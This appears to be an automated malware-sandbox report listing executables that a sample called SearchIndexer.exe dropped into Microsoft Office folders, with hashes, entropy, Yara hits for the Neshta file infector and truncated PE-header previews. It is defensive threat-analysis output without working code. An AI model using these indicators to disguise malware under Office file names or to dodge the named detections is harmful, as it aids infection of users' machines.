                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):266648
                                                                  Entropy (8bit):4.190895884532524
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCgRaCAd1uhNRuiazvhzpwtWhz7I3EWwwrwYx6RPWdn6ysl4DU1:sr85CiezzvhF1h3wEWwwbx6ksl4D
                                                                  MD5:CB076D561CC084FC380019159755CBFE
                                                                  SHA1:911BB4A2E39DDE9197ECC4678367212B1AA253FF
                                                                  SHA-256:F9042977D236AF4627461B5F538823FDAD2ADDEF84EF202E0B75ED409D48E3C2
                                                                  SHA-512:68736CFD5E6488DFB24D65173726EB819DA40AEC1FF7EC6CF4F39A15CFD3AEEAC1672364AE50BE5A417A10A6C50E4546F1947BF323C3FB184802F903455434D6
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):715760
                                                                  Entropy (8bit):6.523751448498997
                                                                  Encrypted:false
                                                                  SSDEEP:12288:Y4tuuLntIMDXw5vde5EFf1Pmbd3lSz3dfp1Swf5M0blmFKuJOJZM30j3:3tFDKMg4iX3djfy0blmFlme303
                                                                  MD5:0E537E151DF5C171C213A1F44DC5F0BE
                                                                  SHA1:E8EE7F0D91D69DE3FFDB1E91E1DDB404813B39C1
                                                                  SHA-256:CF49D45B6A84D77F5E9A722FE7182CEF9325A355D885BEEB4D1DF3D88C1CE212
                                                                  SHA-512:4968DF9F4DEA49214638C86D73A03EBF4BB93E3242022B933B20E47B22AE65F77F57667B701A32A2779D63667CFE718ECB67B55E317402B140210757439FA4A3
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):619944
                                                                  Entropy (8bit):6.639567335107148
                                                                  Encrypted:false
                                                                  SSDEEP:12288:ZM/Of/Bboj+clWnIKgrP6TFPLNWuX4Pemn3oi8ky9Q8WSe/aSqizuO1qukdQAPnQ:i8JgryFPLNWuX40RulAPn1OcnGVNfffl
                                                                  MD5:7B39C44B384E1A5940D5A5E30C8D3E91
                                                                  SHA1:26B7AA2EFF58E1D4124AC8C70766A15470FF8BE0
                                                                  SHA-256:EE9FA9DF2D9125438C869924D9ADF3FB141F0D4C4F05C84D1833669E15FAED31
                                                                  SHA-512:2E8D640CE261BCFDA809A0E896662C3AA5F5792AED0938C75D0EC4B5CB20BCF6895876E44228AD7B448D908EA4544EEA88F7F4B8D379B43B8BE53F849A948054
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):150416
                                                                  Entropy (8bit):6.5018296889200915
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CCQPtLW7twRxI5mc5TNN3AsdVgNwihwT3RqEM6ZOfHXb42:k9CQMzhdV0nh4Hof7
                                                                  MD5:3FE6C68EDBC948A6D2775DD2EA56088C
                                                                  SHA1:2C03FCE97D064B53F98EE100E5627418514BBBF7
                                                                  SHA-256:5681B2A8F44A21E3E1D63B8A99100A453F90EE1E3773240923164922F481B633
                                                                  SHA-512:2BFAECFF86EEA49F3B79215CAAFE401FCB65D74B4A0757AA79E439A7AD90C52E1E43285B438368676D5A08E20B37C349AFFD362F7CDFE7205CFF63E445345819
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):264576
                                                                  Entropy (8bit):6.643046809005812
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9y872jsLuLnPo2TTHswP2TGz3FUCHySYI:b+2jsLuT3MfTGW5I
                                                                  MD5:F85301DABBF0103EF7202407D2DA6489
                                                                  SHA1:6BE78DB8650184DF98A1B968177E75BB782063BF
                                                                  SHA-256:8098FAFAF941BD5678FB8B72F560E1AE06EE593C2432163A56FBC60D8FA43495
                                                                  SHA-512:E5656464BC5030232CA6E0EC58BFB5F2116C6E464CEB1CABDAC941826876ABF3F108B18FF5785779C7B75D153E01857CF37B49D88E2180CE515B02E344583863
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):108448
                                                                  Entropy (8bit):6.051786357762204
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCMweqz1lezmtJwzojsKyyJFGgHZ//rHzb:sr85CwqzXe0wSyyJFD//Hb
                                                                  MD5:C4E2228168447160D7F54331ACE1BAAA
                                                                  SHA1:7878BAE3585B8F37E389DEF0A2830D0C72121CF3
                                                                  SHA-256:99173D535320C612AE308D5AD58FDA6F6B8EE5AD261F1E038421D2FC53767AA2
                                                                  SHA-512:ACB3DCA4F6AA6DCA468BA4A42BFA3003F7A4BB0AB18A2C2F99A493C5765FAB5067FB3865C0C02AD6960439AEE89FB2C166BCC90B6A77FC9CE21DC8C1F4B0037A
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):662600
                                                                  Entropy (8bit):6.001086966772804
                                                                  Encrypted:false
                                                                  SSDEEP:12288:Vpo/FEVciSJJtH4PoR6moWEBfQLxZPhEx7xgtV2hv4tkYUK2tlIqR7lmNK/IKrtK:QFEWi4JtH4PoRfoFIxZPk0NKbB0R
                                                                  MD5:A21FA1DB62F89FAA23E737BD8B609F8C
                                                                  SHA1:62E374C2F71DCD922D6058D735C944A66076FBAD
                                                                  SHA-256:AC414AF78ED3914B1E6EB7E4598F400CA7631BC3AA4C8088B0DF5617AD04967D
                                                                  SHA-512:7485D968298DC04AF7A2297DF77C83EE5A25BEB0AC14932445063EF075FB2CA565AA67E5CE0E4376BFEA7DD31B1B53E66A061E8B8C535887BCA998086132DF94
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):260560
                                                                  Entropy (8bit):5.4470915703839395
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CH4ZAh7ULoQdHBjw8Q2pFj4+W1ISYpksZmRohnonRBfTjzJEthEWV:k9HPfQdhMuj4VM8imPjGthEWV
                                                                  MD5:034F80923F37E7A9899DEA48FBADE531
                                                                  SHA1:40E144C96F7DBB162F02833B01A7F416D65D4403
                                                                  SHA-256:521D052B5B7EBEA5EFF613B52FF7ED2659B4D2A521D6A19A6A146C3CE35118B3
                                                                  SHA-512:2275624F5C92C4B4C606D5CEEBF69F072CC1B7ABA2DAFE8AA7FB672F3B81A8BEDD339EDFFB41192C51CB0F48CB9EE76E090D7A43DE9ADA19D0B8BF2D099C7059
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4316200
                                                                  Entropy (8bit):3.920672560845374
                                                                  Encrypted:false
                                                                  SSDEEP:98304:/YN3nsBQ5ghvEyqf/whWovz9hRJ5RbisrbdsPO9jXsw:QN3nsBcghvEyqf/whxz9hRJ5Rbisrbdr
                                                                  MD5:47939C01C26C95ADA390474944E9F9A6
                                                                  SHA1:9CFD7A3DEF7081BB3C54584E2515C30C7C04AD76
                                                                  SHA-256:9B0869B5057FF84777E81C2D0E0A1E97AB5ABDDD7D80C8D4C94B1C83A53485FC
                                                                  SHA-512:0F342D003CAC4046AD71858225DACF6A42AADBB4F28F0F022C1F6C5D37D37355341B9F6DF8941AC310324CF853AA141195BFFFC4A1C9935558FDBE387BC25E26
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):124056
                                                                  Entropy (8bit):5.727061682781764
                                                                  Encrypted:false
                                                                  SSDEEP:1536:JxqjQ+P04wsmJCMwu7mzj9zNtP9zNps8Q:sr85CMLmzj9P95psb
                                                                  MD5:9A2455DBF03A4E060F7BCCA43DD3D64E
                                                                  SHA1:D4FEB7DEF1FEB03CB7E86EB57D43BD69E8596EAE
                                                                  SHA-256:0102394DCA78E8B630B3C9613E0C9C620944218FDA84E1E129415E6F972495C3
                                                                  SHA-512:DEE619AC553F0DE06058BD118164D4A8E4B93A7F20D4B098E5D5AF9338CBD12F5CE94F054B92FDF435BE87596FD154904968FA96970887993418A3B41EAEAFD5
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):358336
                                                                  Entropy (8bit):4.514937306069578
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9eyUkKOEEIK128d2VKjw0EYsfZJnPmTuJjac2a51lHpLszc/kzY56Y:5x/B/kib
                                                                  MD5:C3A4840C5D7823C978C55DA5DA54DF16
                                                                  SHA1:BF3045BA5D19667D7B3CF1E9CDF52C7CD7CF1101
                                                                  SHA-256:9EC2D985D3ABDCD53FEAFD25DCA72990C37718FBAA59BC4879B941561870B369
                                                                  SHA-512:4E76AFB30D33518576E53057C04B8321BF3F209EAB57389C548D3C67DDF968831DAFC74264DD573D9331D74CBB31FE2B09F6149E7786A4CEFC6ABFFAB42F7084
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):763032
                                                                  Entropy (8bit):4.116647791553155
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CSwRnjnzhCiXXXXXX1AzZwAazTwdOLxN1IHO:k9SwRnj7XXXXXXSzuz8OZ
                                                                  MD5:5F6E2215C14D1B014007317077502103
                                                                  SHA1:B60E82B3994D4612280E92F8A904EFE995209D61
                                                                  SHA-256:0F15CBFD62C0BEE02B273A9205A780C7440B70E99391E8155D05930DAAE487E5
                                                                  SHA-512:5E77C8AD2B79A4C5F153B90316CB22D1C09E5E5B5F7DD888EF931B1C2CAAE396B1D09A3874A173ABACF19705979C54FFEB77411E580F91258CF1D9A5B3F8D6AF
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):895120
                                                                  Entropy (8bit):2.966305885964938
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C+fCEq7tOxIfMFzCEpAm/4rx7z1arf+9:k97z8w
                                                                  MD5:379B19683AE0BA12E72D1E6CA8CB1612
                                                                  SHA1:4B48C8899121137D5637838E9610608245975078
                                                                  SHA-256:3C6082AC7C3AB5EF4F0A7DF17497760B96C77BDDCC8A753881006E74C39044E6
                                                                  SHA-512:CC8F80347BA3E0BF5EB5E4B90E28FFE23FF1F5B18FA1E0AE9DAEB27CBAC51E52053C9173332C2688FFCAAF2CC84EBBBAD31386F6F6BF7DFE2668EFB7D1F2E9E8
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1082008
                                                                  Entropy (8bit):3.7745537489281356
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85Cko4TUawK1uT040i0ougmQmJDJnJ+20FxPlJPPSSfzZ9Ar9oN:k9V243xmQm59UtUSfz3
                                                                  MD5:3257CDD51A6A354CEE4BA01A54D63EAE
                                                                  SHA1:5C1A13555616FC7AD988E3A5A847D9173FB70513
                                                                  SHA-256:80701AF68D14CA8ADBEA6729B8B714B916A9A7654B76748D6E43466C7665249F
                                                                  SHA-512:CFBF67F80E74DE05D945B8BCA0894047D96F23C4F9BB31EBD0AD77BF7CE2F20036C8A2F8CC3281680BD0FB71EF24ECA4FA5E795CC930234B59D4598E15BBC3B9
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):105440
                                                                  Entropy (8bit):6.087841458302814
                                                                  Encrypted:false
                                                                  SSDEEP:768:eyxqjQl/EMQt4Oei7RwsHxyP7nbxzOQdJrrZ1jL9zxwKeL9zgt5tjTh7D9:JxqjQ+P04wsmJCIjhzxwKehzgt5t1D
                                                                  MD5:22753C1C6A88FFB01068FF391B0C3926
                                                                  SHA1:FBC83E06E31A9EE5A827D90481BEFC36EBF085F7
                                                                  SHA-256:E727CB8EF6D54A511C18E4FC92AA94841AAFDC284942398D35D1B091CB97D8B1
                                                                  SHA-512:CAB6DB0DD9EA2260979130415158FFAA22B6DA8E281138D2CB1F569F09384A3E5A5C3935B8B8DC76935F82D9CEA7172904A35ED23678CDD670152E065F20D64D
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):537536
                                                                  Entropy (8bit):4.968722692341351
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C9PMMRMMMmMMMvMMMwMMMNMMMWMMM3MMsewVOOMzMMvMMOMMMJMM2MMQM6ku:k9EwVR6V7byjUWAZyVVdz8eEdGo
                                                                  MD5:A72A576B968347739046BEEF59A3B97A
                                                                  SHA1:545247805365655FF64D1A70F672A43D2B4E682E
                                                                  SHA-256:A1313CE60D736ADFE281422421401E327979DDD34945A4194C66E9235DAA884C
                                                                  SHA-512:9850A6A6B5310C2437964C199FBDD860CA202A7C78766A0F710B29FEED4541CF09307B9AEB74BD7455CDD7A1D7B990C78285B7A79C699B9BF65FC4426649927E
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

